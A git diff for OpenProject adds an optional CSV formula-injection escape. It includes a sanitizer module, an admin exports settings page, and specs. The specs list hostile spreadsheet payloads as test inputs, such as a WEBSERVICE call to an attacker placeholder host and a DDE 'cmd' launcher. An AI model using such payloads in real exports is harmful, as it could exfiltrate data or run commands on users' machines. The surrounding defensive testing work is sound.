diff --git a/app/controllers/admin/settings/exports_settings_controller.rb b/app/controllers/admin/settings/exports_settings_controller.rb
new file mode 100644
index 00000000000..1196c153d35
--- /dev/null
+++ b/app/controllers/admin/settings/exports_settings_controller.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+#-- copyright
+# OpenProject is an open source project management software.
+# Copyright (C) the OpenProject GmbH
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License version 3.
+#
+# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
+# Copyright (C) 2006-2013 Jean-Philippe Lang
+# Copyright (C) 2010-2013 the ChiliProject Team
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License
+# as published by the Free Software Foundation; either version 2
+# of the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
+#
+# See COPYRIGHT and LICENSE files for more details.
+#++
+
+module Admin::Settings
+  class ExportsSettingsController < ::Admin::SettingsController
+    menu_item :settings_exports
+  end
+end
diff --git a/app/forms/admin/settings/exports_settings_form.rb b/app/forms/admin/settings/exports_settings_form.rb
new file mode 100644
index 00000000000..7f6f529ade6
--- /dev/null
+++ b/app/forms/admin/settings/exports_settings_form.rb
@@ -0,0 +1,49 @@
+# frozen_string_literal: true
+
+#-- copyright
+# OpenProject is an open source project management software.
+# Copyright (C) the OpenProject GmbH
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License version 3.
+#
+# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
+# Copyright (C) 2006-2013 Jean-Philippe Lang
+# Copyright (C) 2010-2013 the ChiliProject Team
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License
+# as published by the Free Software Foundation; either version 2
+# of the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
+#
+# See COPYRIGHT and LICENSE files for more details.
+#++
+
+module Admin
+  module Settings
+    class ExportsSettingsForm < ApplicationForm
+      settings_form do |sf|
+        sf.text_field(
+          name: :work_packages_projects_export_limit,
+          type: :number,
+          input_width: :xsmall,
+          caption: I18n.t(:setting_work_packages_projects_export_limit_text)
+        )
+
+        sf.check_box(
+          name: :csv_escape_formulas,
+          caption: I18n.t(:setting_csv_escape_formulas_text)
+        )
+      end
+    end
+  end
+end
diff --git a/app/forms/admin/settings/general_settings_form.rb b/app/forms/admin/settings/general_settings_form.rb
index a399108bba8..0f4653445e2 100644
--- a/app/forms/admin/settings/general_settings_form.rb
+++ b/app/forms/admin/settings/general_settings_form.rb
@@ -82,12 +82,6 @@ module Admin
           input_width: :xsmall
         )
 
-        sf.text_field(
-          name: :work_packages_projects_export_limit,
-          type: :number,
-          input_width: :xsmall
-        )
-
         sf.text_field(
           name: :file_max_size_displayed,
           type: :number,
diff --git a/app/models/exports/concerns/csv.rb b/app/models/exports/concerns/csv.rb
index c6898c261d0..cce6a0e2ca4 100644
--- a/app/models/exports/concerns/csv.rb
+++ b/app/models/exports/concerns/csv.rb
@@ -47,7 +47,8 @@ module Exports
 
       def encode_csv_columns(columns, encoding = I18n.t(:general_csv_encoding))
         columns.map do |cell|
-          Redmine::CodesetUtil.from_utf8(cell.to_s, encoding)
+          sanitized = Exports::Concerns::CSVFormulaSanitization.sanitize(cell)
+          Redmine::CodesetUtil.from_utf8(sanitized, encoding)
         end
       end
 
diff --git a/app/models/exports/concerns/csv_formula_sanitization.rb b/app/models/exports/concerns/csv_formula_sanitization.rb
new file mode 100644
index 00000000000..8090c9d2238
--- /dev/null
+++ b/app/models/exports/concerns/csv_formula_sanitization.rb
@@ -0,0 +1,76 @@
+# frozen_string_literal: true
+
+#-- copyright
+# OpenProject is an open source project management software.
+# Copyright (C) the OpenProject GmbH
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License version 3.
+#
+# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
+# Copyright (C) 2006-2013 Jean-Philippe Lang
+# Copyright (C) 2010-2013 the ChiliProject Team
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License
+# as published by the Free Software Foundation; either version 2
+# of the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
+#
+# See COPYRIGHT and LICENSE files for more details.
+#++
+
+module Exports
+  module Concerns
+    # Escape cells that begin with a spreadsheet formula-triggering character,
+    # if the +csv_escape_formulas+ setting is active.
+    module CSVFormulaSanitization
+      module_function
+
+      # Leading characters that always indicate a formula and will always be escaped
+      ALWAYS_ESCAPE = %W[= @ \t \r].freeze
+
+      # Leading characters that trigger formula evaluation but may also legitimately
+      # be a number (negative/positive values).
+      POSSIBLE_NUMBER_START = %w[- +].freeze
+
+      # A single, optionally signed number as it appears in exported cells:
+      # thousands/decimal separators, optional surrounding whitespace and an
+      # optional currency symbol or percent sign (e.g. "-5.00", "-1.234,56 €").
+      # Anything with an internal operator (e.g. "+1+1") or letters/parentheses
+      # fails this match and will be treated as a formula again
+      PLAIN_NUMBER = /\A[+-]?[\p{Sc}\s]*\d[\d.,'\s]*[\p{Sc}%]?\z/u
+
+      # Escape a single CSV cell value if the setting is active
+      #
+      # @param value [Object] the raw cell value
+      # @return [String] the (possibly escaped) string value
+      def sanitize(value)
+        str = value.to_s
+        return str unless needs_escaping?(str)
+
+        "'#{str}"
+      end
+
+      def needs_escaping?(str)
+        return false unless Setting.csv_escape_formulas?
+        return false if str.empty?
+
+        first = str[0]
+        return true if ALWAYS_ESCAPE.include?(first)
+        return false unless POSSIBLE_NUMBER_START.include?(first)
+
+        # Leading - or +: only escape when the value is not a plain signed number.
+        !str.match?(PLAIN_NUMBER)
+      end
+    end
+  end
+end
diff --git a/app/views/admin/settings/exports_settings/show.html.erb b/app/views/admin/settings/exports_settings/show.html.erb
new file mode 100644
index 00000000000..e783ba272ce
--- /dev/null
+++ b/app/views/admin/settings/exports_settings/show.html.erb
@@ -0,0 +1,56 @@
+<%#-- copyright
+OpenProject is an open source project management software.
+Copyright (C) the OpenProject GmbH
+
+This program is free software; you can redistribute it and/or
+modify it under the terms of the GNU General Public License version 3.
+
+OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
+Copyright (C) 2006-2013 Jean-Philippe Lang
+Copyright (C) 2010-2013 the ChiliProject Team
+
+This program is free software; you can redistribute it and/or
+modify it under the terms of the GNU General Public License
+as published by the Free Software Foundation; either version 2
+of the License, or (at your option) any later version.
+
+This program is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+GNU General Public License for more details.
+
+You should have received a copy of the GNU General Public License
+along with this program; if not, write to the Free Software
+Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
+
+See COPYRIGHT and LICENSE files for more details.
+
+++#%>
+
+<% html_title t(:label_administration), t(:label_export_plural) %>
+
+<%=
+  render(Primer::OpenProject::PageHeader.new) do |header|
+    header.with_title { t(:label_export_plural) }
+    header.with_breadcrumbs(
+      [{ href: admin_index_path, text: t("label_administration") },
+       { href: admin_settings_general_path, text: t(:label_system_settings) },
+       t(:label_export_plural)]
+    )
+  end
+%>
+
+<%=
+  settings_primer_form_with(
+    url: admin_settings_exports_path,
+    scope: :settings,
+    method: :patch
+  ) do |f|
+    render(
+      Primer::Forms::FormList.new(
+        Admin::Settings::ExportsSettingsForm.new(f),
+        Admin::Settings::Save.new(f)
+      )
+    )
+  end
+%>
diff --git a/config/constants/settings/definition.rb b/config/constants/settings/definition.rb
index 03d4884db30..a3aa50a0003 100644
--- a/config/constants/settings/definition.rb
+++ b/config/constants/settings/definition.rb
@@ -316,6 +316,10 @@ module Settings
       cross_project_work_package_relations: {
         default: true
       },
+      csv_escape_formulas: {
+        default: true,
+        description: "Escapes cells with single quote in CSV exports that begin with a spreadsheet formula character (e.g., =,@)"
+      },
       database_cipher_key: {
         description: "Encryption key for repository credentials",
         format: :string,
diff --git a/config/initializers/menus.rb b/config/initializers/menus.rb
index 4350f452c76..162c2712345 100644
--- a/config/initializers/menus.rb
+++ b/config/initializers/menus.rb
@@ -549,6 +549,12 @@ Redmine::MenuManager.map :admin_menu do |menu|
             caption: :label_external_links,
             parent: :settings
 
+  menu.push :settings_exports,
+            { controller: "/admin/settings/exports_settings", action: :show },
+            if: ->(_) { User.current.admin? },
+            caption: :label_export_plural,
+            parent: :settings
+
   menu.push :settings_repositories,
             { controller: "/admin/settings/repositories_settings", action: :show },
             if: ->(_) { User.current.admin? },
diff --git a/config/initializers/zeitwerk.rb b/config/initializers/zeitwerk.rb
index d65108ce753..5972bf3ee25 100644
--- a/config/initializers/zeitwerk.rb
+++ b/config/initializers/zeitwerk.rb
@@ -89,6 +89,7 @@ OpenProject::Inflector.inflection(
   "sha1" => "SHA1",
   "sso" => "SSO",
   "csv" => "CSV",
+  "csv_formula_sanitization" => "CSVFormulaSanitization",
   "pdf" => "PDF",
   "scm" => "SCM",
   "imap" => "IMAP",
diff --git a/config/locales/en.yml b/config/locales/en.yml
index 85c60b13b53..e4a0da61a8b 100644
--- a/config/locales/en.yml
+++ b/config/locales/en.yml
@@ -4228,6 +4228,7 @@ en:
   label_journal_diff: "Description Comparison"
   label_language: "Language"
   label_languages: "Languages"
+  label_export_plural: "Exports"
   label_external_links: "External links"
   label_locale: "Language and region"
   label_jump_to_a_project: "Jump to a project..."
@@ -5401,6 +5402,13 @@ en:
   setting_consent_required: "Consent required"
   setting_consent_decline_mail: "Consent contact mail address"
   setting_cross_project_work_package_relations: "Allow cross-project work package relations"
+  setting_csv_escape_formulas: "Escape formulas in CSV exports"
+  setting_csv_escape_formulas_text: >
+    Escape spreadsheet formulas in CSV exports by prefixing cells that begin
+    with characters such as =, +, -, or @ with a single quote. This mitigates CSV
+    formula injection when exported files are opened in spreadsheet applications such as Excel.
+    This comes at the downside of modifying the string values inside the CSV,
+    so you may want to disable this if downstream tools require the exact, unescaped cell values.
   setting_first_week_of_year: "First week in year contains"
   setting_date_format: "Date"
   setting_default_language: "Default language"
@@ -5448,6 +5456,9 @@ en:
   setting_work_package_properties: "Work package properties"
   setting_work_package_startdate_is_adddate: "Use current date as start date for new work packages"
   setting_work_packages_projects_export_limit: "Work packages / Projects export limit"
+  setting_work_packages_projects_export_limit_text: >
+    Maximum number of work packages or projects that can be included in a single
+    export. Larger exports are truncated to this limit.
   setting_journal_aggregation_time_minutes: "Aggregation period"
   setting_log_requesting_user: "Log user login, name, and mail address for all requests"
   setting_login_required: "Authentication required"
diff --git a/config/routes.rb b/config/routes.rb
index e9cb70bb546..b30de28cb28 100644
--- a/config/routes.rb
+++ b/config/routes.rb
@@ -669,6 +669,7 @@ Rails.application.routes.draw do
       resource :general, controller: "/admin/settings/general_settings", only: %i[show update]
       resource :languages, controller: "/admin/settings/languages_settings", only: %i[show update]
       resource :external_links, controller: "/admin/settings/external_links_settings", only: %i[show update]
+      resource :exports, controller: "/admin/settings/exports_settings", only: %i[show update]
       resource :repositories, controller: "/admin/settings/repositories_settings", only: %i[show update]
       resource :experimental, controller: "/admin/settings/experimental_settings", only: %i[show update]
 
diff --git a/modules/budgets/app/helpers/budgets_helper.rb b/modules/budgets/app/helpers/budgets_helper.rb
index efcc8307710..99353c5e508 100644
--- a/modules/budgets/app/helpers/budgets_helper.rb
+++ b/modules/budgets/app/helpers/budgets_helper.rb
@@ -38,7 +38,7 @@ module BudgetsHelper
     User.current.allowed_in_project?(:edit_budgets, @project)
   end
 
-  def budgets_to_csv(budgets)
+  def budgets_to_csv(budgets) # rubocop:disable Metrics/AbcSize
     CSV.generate(col_sep: t(:general_csv_separator)) do |csv|
       # csv header fields
       headers = [
@@ -54,7 +54,7 @@ module BudgetsHelper
         Budget.human_attribute_name(:updated_at),
         Budget.human_attribute_name(:description)
       ]
-      csv << headers.map { |c| begin; c.to_s.encode("UTF-8"); rescue StandardError; c.to_s; end }
+      csv << headers.map { |c| Exports::Concerns::CSVFormulaSanitization.sanitize(c) }
       # csv lines
       budgets.each do |budget|
         fields = [
@@ -70,7 +70,7 @@ module BudgetsHelper
           format_time(budget.updated_at),
           budget.description
         ]
-        csv << fields.map { |c| begin; c.to_s.encode("UTF-8"); rescue StandardError; c.to_s; end }
+        csv << fields.map { |c| Exports::Concerns::CSVFormulaSanitization.sanitize(c) }
       end
     end
   end
diff --git a/modules/budgets/spec/helpers/budgets_helper_spec.rb b/modules/budgets/spec/helpers/budgets_helper_spec.rb
index adce56c8c4c..0267cb96e8f 100644
--- a/modules/budgets/spec/helpers/budgets_helper_spec.rb
+++ b/modules/budgets/spec/helpers/budgets_helper_spec.rb
@@ -52,6 +52,24 @@ RSpec.describe BudgetsHelper do
         expect(budgets_to_csv([budget]).include?(expected)).to be_truthy
       end
 
+      context "with a formula-injection payload in user-controlled fields",
+              with_settings: { csv_escape_formulas: true } do
+        let(:budget) do
+          build(:budget,
+                project:,
+                subject: "=1+1",
+                description: '=HYPERLINK("https://example.com","x")')
+        end
+
+        it "escapes the formula value by prepending a single quote" do
+          csv = budgets_to_csv([budget])
+
+          expect(csv).to include("'=1+1")
+          expect(csv).to include(%('=HYPERLINK))
+          expect(csv).not_to match(/(?<!')=1\+1/)
+        end
+      end
+
       it "starts with a header explaining the fields" do
         expected = [
           "#",
diff --git a/spec/controllers/admin/settings/exports_settings_controller_spec.rb b/spec/controllers/admin/settings/exports_settings_controller_spec.rb
new file mode 100644
index 00000000000..07a0a2aa89c
--- /dev/null
+++ b/spec/controllers/admin/settings/exports_settings_controller_spec.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+#-- copyright
+# OpenProject is an open source project management software.
+# Copyright (C) the OpenProject GmbH
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License version 3.
+#
+# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
+# Copyright (C) 2006-2013 Jean-Philippe Lang
+# Copyright (C) 2010-2013 the ChiliProject Team
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License
+# as published by the Free Software Foundation; either version 2
+# of the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
+#
+# See COPYRIGHT and LICENSE files for more details.
+#++
+
+require "spec_helper"
+
+RSpec.describe Admin::Settings::ExportsSettingsController do
+  shared_let(:user) { create(:admin) }
+
+  current_user { user }
+
+  include_examples "GET #show requires admin permission and renders template", path: "exports_settings"
+end
diff --git a/spec/forms/admin/settings/exports_settings_form_spec.rb b/spec/forms/admin/settings/exports_settings_form_spec.rb
new file mode 100644
index 00000000000..d6baa05d9d7
--- /dev/null
+++ b/spec/forms/admin/settings/exports_settings_form_spec.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+#-- copyright
+# OpenProject is an open source project management software.
+# Copyright (C) the OpenProject GmbH
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License version 3.
+#
+# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
+# Copyright (C) 2006-2013 Jean-Philippe Lang
+# Copyright (C) 2010-2013 the ChiliProject Team
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License
+# as published by the Free Software Foundation; either version 2
+# of the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
+#
+# See COPYRIGHT and LICENSE files for more details.
+#++
+
+require "rails_helper"
+
+RSpec.describe Admin::Settings::ExportsSettingsForm, type: :forms do
+  include_context "with rendered form"
+
+  let(:form_arguments) { { url: "/foo", model: false, scope: :settings } }
+
+  subject(:rendered_form) do
+    vc_render_form
+    page
+  end
+
+  it "renders the export settings fields", :aggregate_failures do
+    expect(rendered_form).to have_field "Work packages / Projects export limit", type: :number do |field|
+      expect(field["name"]).to eq "settings[work_packages_projects_export_limit]"
+    end
+
+    expect(rendered_form).to have_field "Escape formulas in CSV exports", type: :checkbox do |field|
+      expect(field["name"]).to eq "settings[csv_escape_formulas]"
+    end
+  end
+end
diff --git a/spec/forms/admin/settings/general_settings_form_spec.rb b/spec/forms/admin/settings/general_settings_form_spec.rb
index 1ce9f0fe102..9484f02ebaf 100644
--- a/spec/forms/admin/settings/general_settings_form_spec.rb
+++ b/spec/forms/admin/settings/general_settings_form_spec.rb
@@ -74,10 +74,6 @@ RSpec.describe Admin::Settings::GeneralSettingsForm, type: :forms do
       expect(field["name"]).to eq "settings[feeds_limit]"
     end
 
-    expect(rendered_form).to have_field "Work packages / Projects export limit", type: :number do |field|
-      expect(field["name"]).to eq "settings[work_packages_projects_export_limit]"
-    end
-
     expect(rendered_form).to have_field "Max size of text files displayed inline", type: :number,
                                                                                    accessible_description: "kB" do |field|
       expect(field["name"]).to eq "settings[file_max_size_displayed]"
diff --git a/spec/models/exports/concerns/csv_formula_sanitization_spec.rb b/spec/models/exports/concerns/csv_formula_sanitization_spec.rb
new file mode 100644
index 00000000000..2d65f0efbc6
--- /dev/null
+++ b/spec/models/exports/concerns/csv_formula_sanitization_spec.rb
@@ -0,0 +1,102 @@
+# frozen_string_literal: true
+
+#-- copyright
+# OpenProject is an open source project management software.
+# Copyright (C) the OpenProject GmbH
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License version 3.
+#
+# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
+# Copyright (C) 2006-2013 Jean-Philippe Lang
+# Copyright (C) 2010-2013 the ChiliProject Team
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License
+# as published by the Free Software Foundation; either version 2
+# of the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
+#
+# See COPYRIGHT and LICENSE files for more details.
+#++
+
+require "spec_helper"
+
+RSpec.describe Exports::Concerns::CSVFormulaSanitization do
+  subject(:sanitize) { described_class.sanitize(value) }
+
+  context "when escaping is enabled (default)", with_settings: { csv_escape_formulas: true } do
+    context "with formula-leading values" do
+      [
+        "=1+1",
+        '=HYPERLINK("https://example.com","x")',
+        "=WEBSERVICE(\"http://attacker.example\")",
+        "@SUM(A1:A2)",
+        "+1+1",
+        "-1+cmd|' /C calc'!A0",
+        "\t=1+1",
+        "\r=1+1"
+      ].each do |dangerous|
+        context "with #{dangerous.inspect}" do
+          let(:value) { dangerous }
+
+          it "prepends a single quote" do
+            expect(sanitize).to eq("'#{dangerous}")
+          end
+        end
+      end
+    end
+
+    context "with plain numbers and dates (numeric guard)" do
+      ["-5.00", "+5.00", "-1234.56", "-1.234,56 €", "2026-05-31", "0", "42"].each do |benign|
+        context "with #{benign.inspect}" do
+          let(:value) { benign }
+
+          it "leaves the value untouched" do
+            expect(sanitize).to eq(benign)
+          end
+        end
+      end
+    end
+
+    context "with ordinary text" do
+      let(:value) { "Implement login screen" }
+
+      it "leaves the value untouched" do
+        expect(sanitize).to eq("Implement login screen")
+      end
+    end
+
+    context "with a blank value" do
+      let(:value) { "" }
+
+      it "leaves the value untouched" do
+        expect(sanitize).to eq("")
+      end
+    end
+
+    context "with a non-string value" do
+      let(:value) { 42 }
+
+      it "returns its string form untouched" do
+        expect(sanitize).to eq("42")
+      end
+    end
+  end
+
+  context "when escaping is disabled", with_settings: { csv_escape_formulas: false } do
+    let(:value) { "=1+1" }
+
+    it "leaves dangerous values untouched" do
+      expect(sanitize).to eq("=1+1")
+    end
+  end
+end
diff --git a/spec/models/work_package/exporter/csv_integration_spec.rb b/spec/models/work_package/exporter/csv_integration_spec.rb
index 39246e20217..f0aee2b6bd7 100644
--- a/spec/models/work_package/exporter/csv_integration_spec.rb
+++ b/spec/models/work_package/exporter/csv_integration_spec.rb
@@ -114,6 +114,24 @@ RSpec.describe WorkPackage::Exports::CSV, "integration" do
         ]
       end
     end
+
+    context "with a formula-injection payload in user-controlled fields",
+            with_settings: { csv_escape_formulas: true } do
+      shared_let(:work_package) do
+        create(:work_package,
+               subject: "=1+1",
+               description: '=HYPERLINK("https://example.com","x")',
+               type: type_a,
+               project:)
+      end
+
+      it "escapes the formula cell by prepending a single quote" do
+        pairs = header_value_pairs.to_h
+
+        expect(pairs["Subject"]).to eq("'=1+1")
+        expect(pairs["Description"]).to eq(%('=HYPERLINK("https://example.com","x")))
+      end
+    end
   end
 
   context "with multiple work packages" do